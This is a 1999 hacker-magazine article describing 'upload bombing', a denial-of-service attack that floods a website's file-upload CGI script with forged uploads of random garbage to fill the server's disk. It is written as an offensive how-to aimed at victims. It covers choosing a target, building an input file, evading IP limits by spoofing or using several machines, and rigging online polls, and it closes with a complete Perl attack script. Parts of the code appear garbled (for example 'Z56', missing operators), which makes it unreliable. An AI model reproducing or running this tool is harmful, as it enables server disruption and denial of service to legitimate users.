Upload Bombing

by Ulf of VSU

This his article will describe a new type of attack that I have named "upload bombing."

It repeatedly connects to a web server with TCP, pretending to be a web browser sending some file data to a file uploading CGI script on the server.

File Uploads in HTML Forms

You may ask yourself, "Can web browsers upload files to CGI scripts on web servers?"  Yes, they can.  In the releases of Netscape Navigator 2.0 and Internet Explorer 4.0, support was added for a new HTML tag called: <input type="file">

However, Lynx still doesn't support this tag.  See Table A for an example of an HTML document with this tag.  Normally, data from HTML forms to CGI scripts are encoded in application/x-www-form-urlencoded, but HTML forms with file uploads use the newer encoding multipart/form-data instead.

Stupid CGI Script Coders

The file uploading CGI script will decode all the data it receives, usually storing the uploaded file in some directory somewhere on the server.  Many such file uploading scripts will reject files that are too big or whose file names don't end in the correct file type, but none of the scripts that I have looked at have got any memory.  They don't know if the last upload was from another continent two weeks ago, or from you two seconds before this one.

The implications are obvious!  If we code a program that behaves just like a web browser does when it uploads a file to a CGI script on a web server, we can upload file after file of random garbage.  Each file can be small enough to be accepted by the script, but together the files will take up a lot of disk space on the victim's web server.  This will cause some problems for the sysadmin, as modern operating systems don't work very well when the hard disk is full.

Technical Details

Exactly how is this done?  Let's get to the gory technical details!  There is an RFC document, RFC 1867: "Form-based File Upload in HTML," which describes how these uploads work.  Unfortunately, none of the popular browsers are fully compliant with this document.

During a real-life file upload from the HTML document in Table A, the web browser opens a TCP connection to the web server, and sends something that looks close to my Table B.

At this point, I will discuss some of the fields in Table B in further detail.  The contents of the files and the other fields are sent as raw data - not encoded at all.  The different fields are separated with the boundary, which is defined in the "Content-type:" line.  The boundary can be any text string that is not found in the data itself.  I've used the boundary "BOUNDARY" in Table B for clarity.  Netscape's browsers use a boundary consisting of the character "-" 27 times, and then 13 or 14 random digits.  I use such a boundary myself in my upload bomb program.  If the file names include strange characters, these names are encoded in "application/x-www-form-urlencoded" in some browsers, but not in others.  It is also worth noting that the type of data field, whether it is hidden or a text area or a checkbox, is not stated anywhere in Table B.

Let's look at the header of Table B for a while.  The "Referer:" (sic) line shows the URL to the document that holds the HTML form.  (The correct spelling is in fact "referrer," but apparently someone who worked on the HTTP/1.0 specification didn't know that, so now everyone who codes web clients has to consciously misspell that word.)  The "User-Agent:" line gives the name of the web browser that is sending all this data.

Table B is based on the output from Netscape's browsers.  The output from MS Internet Explorer varies from this table in some minor details.  For instance, it sends off a "ContentType:" header for each file that is uploaded.  Any half decent CGI script coder will adapt his or her scripts to work both with Netscape and IE so this shouldn't cause any trouble for the aspiring upload bomber.

My "Upload Bomb" Program

If you don't want to code your own upload bombing program, you can type in mine.  It is written in Perl.  You install it by editing the first line of the script, and by changing the permissions so it is executable.  I have only had the opportunity to test it with Perl 5.00502 running on a Linux 2.0.36 machine, but I believe it is very portable, as it uses "use Socket" rather than defining the socket constants by hand.

Table A

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html4O/strict.dtd">
<html>
<head>
<title>Table  A</title>
</head>
<body>
<form method="post" action="http://www.v1ct1m.com/cgi-bin/uplood.pl" enctype="multipart/form-data">
<p><input type="hidden" name="action" value="upload" size="0"> 
your name: <input type="text" name="yourname" size="35"><p>   
first file name: <input type="file" name="f1"size="20"><br>
second file name: <input type="file" name="f2" size="20"><p>
comments:<br>
<textarea name="comments" rows="5" cols="50"></textarea><p>
<input type="checkbox" name="chk" value="vsu"> check here, if the files are made by VSU.<p> 
<input type="submit" name="subm" value="Send!">
</form>
</body>
</html>

My program reads data from an input file, creates upload bombs as described in the "Technical Details" section above, sends them off to the web server, shows the answer from the CGI script, and waits a couple of seconds before it sends the next bomb.

It uses the POST method and the HTTP/1.1 protocol.  Most (all?) HTML forms for file uploads use the POST method rather than the GET method, and the HTTP/1.1 protocol is widely supported on today's web servers, so this is the correct choice in nearly all cases.

Preparing an Input File for This Program

Let's say that we have found some place on the net that we want to upload bomb.  First, we surf to the HTML document that holds the form where the user selects a file to upload.  We'll refer to this document later on as "document D."  We look at the HTML source of this document, and write down the URL of the CGI script that the form links to.

We also look at all "<input type=" ">", "<textarea>" and "<select>" tags in that form, and write down their names and what function they have (i.e., what value we want to give them).  Finally, we use all this information to build an input file for upload bombing this place.

So what is the format of the input file?  Well, first I should tell you that all lines beginning with the "#" character and all lines that are empty or only consists of spaces and tabs are ignored.  From the lines that are left, line 1 defines how many bombs we should send, line 2 is the name of the web server, and line 3 is the port that the web server answers at (usually 80).  Line 4 is the address to the script (that is, everything in the script's URL after the machine name), and it should always start with a "/" character.  Line 5 is the referrer, i.e., the URL to Document D.

Line 6 defines the beginning of the file names that we will create (usually a path like "C:\TEMP\) and line 7 defines the end of the same file names (usually a file type like ".mp3").  Line 8 defines the minimum size of the random files that we will create and line 9 defines the maximum random addition.  All random files will have a random file size somewhere between line 8's value and line 8's plus line 9's value.  If line 8 has the value 1096 and line 9 has the value 0, all random files will be exactly 1096 bytes long.  If line 9 has the value 1024 and line 9 has the value 2048, all random files will have sizes somewhere from 1024 to 3072 bytes.  While talking about files, I can also tell you that all file names that are generated will consist of 8 to 18 random lower case letters.

The rest of the input file after line 9 consists of pairs of lines that define names and values from the HTML form.  You can use the character "^" in the values, to signify a new line (CRLF).  This is especially useful with the HTML tag "<textarea>", which allows the user to type in more than one line in his or her browser.

It is important that these name and value pairs are listed in the same order as in the HTML form, because some badly written CGI scripts don't work if you change the order.

There are two special values that are used to signify that one of the names in the form is a file, not normal data.  The special value "$FILE$" means that this is a file full of random garbage, and the special value "$FILEsome_filename$" means that this is a real file that will be uploaded under different random filenames.  My program will try to find this real file in the current directory.

See Table C for an example of an input file.  When you have constructed one that you are happy with, you start bombing with the command "./upload-bomb input-file".

In some cases, there is no Document D, just a script which senses if you are surfing to it or uploading data to it.  If you are surfing to it, the script gives you an HTML form, and if you are uploading to it, it processes the data.  However, this doesn't make much of a difference to us.  We just surf to the script as if it was an ordinary HTML document, and then we work our way through the process of creating an input file in the same way as we usually do.

Upload Bombing CGI Scripts That Don't Do Uploads

Although my program doesn't support this, you can also upload bomb other types of CGI scripts than the ones who handle file uploads.  One example would be scripts for online polls, where you can alter the result of the poll heavily in your favor by sending off lots of votes for the alternative that you prefer.  To do this, you need to look up the encoding method "application/x-www-form-urlencoded" somewhere.

The Other Side of the Fence

I hope that the CGI script authors and the sysadmins all over the world will wake up to this threat soon, and start securing their scripts against this type of attack.  The most obvious ways for them to do so is to: (a) check the IP addresses, or (b) only allow a certain number of uploads per hour/day/week.

The idea behind (a) is to only allow a certain number of uploads in a row from one IP number.  We can get around this by letting several machines take turns to upload bomb one server, or by using IP spoofing.  It is harder to get around (b), but we can use it for a denial-of-service attack.  If the script only allows three uploads-per-hour, we can try to upload four files every 15 minutes, leaving the legitimate users without the ability to upload files.

It is also worth noting that both (a) and (b) could cause some inconvenience to legitimate users of the upload scripts, such as making people who want to upload lots of legitimate files in a row unable to do so.

Links

Table B

POST /cgi-bin/upload.pl HTTP/1.1
Host: www.v1ct1m.com
User-Agent: Mozilla/4.05 [en] (Win95; I)
Referer: http://www.v1ct1m.com/upload.html
Connection: close
Content-type: multipart/form-data; boundary=BOUNDARY
Content-length: 601

-BOUNDARY
Content-Disposition: form-data; name="actlon"

upload
-BOUNDARY
Content-Disposition: form-data; name="yourname"

Ulf/VSU
-BOUNDARY
Content-Disposition: form-data; name="f1"; filename="C:\TMP\souxgvjnlxk.gif"
FILEFILEFILEFILEFILEFI
-BOUNDARY
Content-Disposition: form-data; name="f2"; filename="C:\TMP\bcwrhalvuw.gif"
FILEFILEFILEFILEFILEFI
-BOUNDARY
Content-Disposition: form-data; name="comments"

VSU
for 2600
in 1999

-BOUNDARY
Content-Disposition: form-data; name="chk"

vsu
-BOUNDARY
Content-Disposition: form-data; name="subm"

Send!
-BOUNDARY-
Table C

# This is an input file for the upload bomb program.
5
www.v1ct1m.com
80
/cgi-bin/upload.pl
http://www.v1ct1m.com/upload.html
C:\TMP\
.gif
10
14

# The fields from the HTML form begin here.
action
upload
yourname
Ulf/VSU
f1
$FILE$
f2
$FILElamer.gif$
comments
VSU^for 2600^in 1999^
chk
vsu
subm
Send!
#!/usr/bin/perl
# upload bomb by Ulf of VSU in 1999
use Socket;

sub readf {
    my $temp;
    if ( $current > $#file ) { die "malformed input file!\n"; }
    $temp = $file[$current];
    $current++;
    return $temp;
}
#
# 0.0 INITIALIZATION AND USAGE INSTRUCTIONS
print "upload bomb\ncoded by Ulf of VSU\n";
print "published by 2600 Magazine: the Hacker Quarterly\n\n";
if ( ( $#ARGV != 0 ) || ( $ARGV[0] eq "-h" ) || ( $ARGV[0] eq "-help" ) ) {
    print "usage: $0 input_file\n";
    exit;
}

srand;
$|       = 1;
$crlf    = "\015\012";
$quote   = "\042";
$current = 0;

# 1.0 READ FROM THE INPUT FILE, STRIP REMARKS AND EMPTY LINES, AND STORE
#     WHAT'S LEFT IN THE ARRAY @file
open( FILE, "<$ARGV[0]" ) or die "can't open the input file!\n";

while (<FILE>) {
    tr/\015\012//d;
    if ( ( !(m/^\s*$/) ) && ( substr( $_, 0, 1 ) ne "#" ) ) { push @file, $_; }
}

close FILE or die "can't close the input file!?\n";

# 1.1 GIVE IMPORTANT VARIABLES VALUES FROM THAT ARRAY
(
    $bombs,       $machine,     $port,
    $script,      $referrer,    $filenamebegin,
    $filenameend, $filesizemin, $filesizerandomadd
) = map { readf() } ( 1 .. 9 );

# 1.2 GIVE THE ARRAYS @thename AND @thecontent VALUES FROM THAT ARRAY
while ( $current <= $#file ) {
    ( $key, $value ) = map { readf() } ( 1 .. 2 );
    $value =~ s/\^/\015\012/sg;
    push @thename,    $key;
    push @thecontent, $value;
}
if ( $#thename == -1 ) { die "no html form fields in the input file!\n"; }

# 1.3 CREATE THE BOUNDARY
$boundary = "-" x 27
  . join( "", map { chr 48 + int rand 10 } ( 1 .. ( 13 + int rand 2 ) ) );

# 2.0 START THE LOOP THAT COUNTS HOW MANY BOMBS WE SHOULD SEND
foreach $i ( 1 .. $bombs ) {
    print "** bomb #$i out of $bombs **\n\n";
    $body = "";

    # 3.0 START THE LOOP THAT ADDS ALL THE FIELDS FROM THE HTML FORM TO THE
    #     MESSAGE BODY
    foreach $j ( 0 .. $#thename ) {
        $body .=
            "-$boundary$crlf"
          . "Content-Disposition: form-data; name="
          . "$quote$thename[$j]$quote";

        # 3.1 IT'S A NORMAL FIELD, SO ADD THE VALUE
        if ( $thecontent[$j] !~ m/^\$FILE(.*)\$$/ ) {
            $body .= "$crlf$crlf$thecontent[$j]$crlf";
        }
        else {
            # 3.2 IT'S A FILE, SO MAKE UP A RANDOM FILE NAME
            $bombfile = $1;
            $middle   = join( "",
                map { chr 97 + int rand 26 } ( 1 .. ( 8 + int rand 10 ) ) );

            # 3.3 ADD THE BEGINNING OF THE FILE TRANSFER TO THE MESSAGE BODY
            $body .= "; filename=$quote$filenamebegin"
              . "$middle$filenameend$quote$crlf$crlf";

           # 3.4 IT'S A RANDOM FILE, SO ADD RANDOM FILE DATA TO THE MESSAGE BODY
            if ( $bombfile eq "" ) {
                $filesize = $filesizemin + int rand $filesizerandomadd;
                $le       = length(
                    $randomdata = join( "",
                        map { chr int rand Z56 }
                          ( 1 .. ( 4096 + int rand 174 ) ) )
                );
                while ( $filesize > 0 ) {
                    $onesize = ( $filesize >= $le ) ? $le : $filesize;
                    $body .= substr( $randomdata, 0, $onesize );
                    $filesize -= $onesize;
                }
            }
            else

      # 3.5 IT'S A REAL FILE, SO ADD DATA FROM THE BOMB FILE TO THE MESSAGE BODY
            {
                open( INF, "<$bombfile" )
                  or die "can't open the bomb file \"$bombfile\"!\n";
                binmode INF;
                while (<INF>) { $body .= $_; }
                close INF or die "can't close the bomb file!?\n";
            }
            $body .= $crlf;
        }
    }

    # 3.6 ADD THE ENDING OF THE MESSAGE BODY
    $body .= "-$boundary-$crlf";
    $leng = length $body;

    # 4.0 CREATE THE MESSAGE HEAD
    $head =
        "POST $script HTTP/1.1$crlf"
        "Host: $machine$crlf"
        "User-Agent: Mozilla/4.0s [en] (Win95; I)$crlf"
	# If M$ Internet Explorer can lie about its name, so can we ;)
        "Referer: $referrer$crlf"
        "Connection: close$crlf"
        "Content-type: multipart/form-data; boundary=$boundary$crlf"
        "Content-length: $leng$crlf$crlf";

    # 5.0 LOOK UP AND CONNECT TO THE WEB SERVER
    $tcp = getprotobyname("tcp");
    socket( SOK, PF_INET, SOCK_STREAM, $tcp ) or die "socket error!\n";
  ATTEMPT:
    {
        $error1 = 0;
        print "looking up...";
        $numb = inet_aton($machine) or $error1 = 1;
        if ( $error1 == 1 ) {
            print " unable to connect to remote host!\n";
            last ATTEMPT;
        }
        $con = sockaddr_in( $port, $numb );
        $error2 = 0;
        print " ok\nconnecting...";
        connect( SOK, $con ) or $error2 = 1;
        if ( $error2 == 1 ) {
            print " can't connect to that port!\n";
            last ATTEMPT;
        }

        # 5.1 SEND OFF A BOMB
        select SOK;
        $| = 1;
        select STDOUT;
        print " ok\nsending...";
        print SOK "$head$body";
        #
        # S.Z SHOW THE USER WHAT THE SERVER AND THE SCRIPT SENT BACK
        print "\n\n";
        print while <SOK>;
        close SOK or die "\nsocket error!\n";
    }

    # 6.0 WAIT FOR A COUPLE OF SECONDS, UNLESS THIS IS THE LAST BOMB TO SEND
    if ( $i != $bombs ) { print "\n\n"; sleep 2 + int rand 4; }
}

# VSU 1999 - Stil, Bildning och Moral

Code: upload-bomb.pl

Return to $2600 Index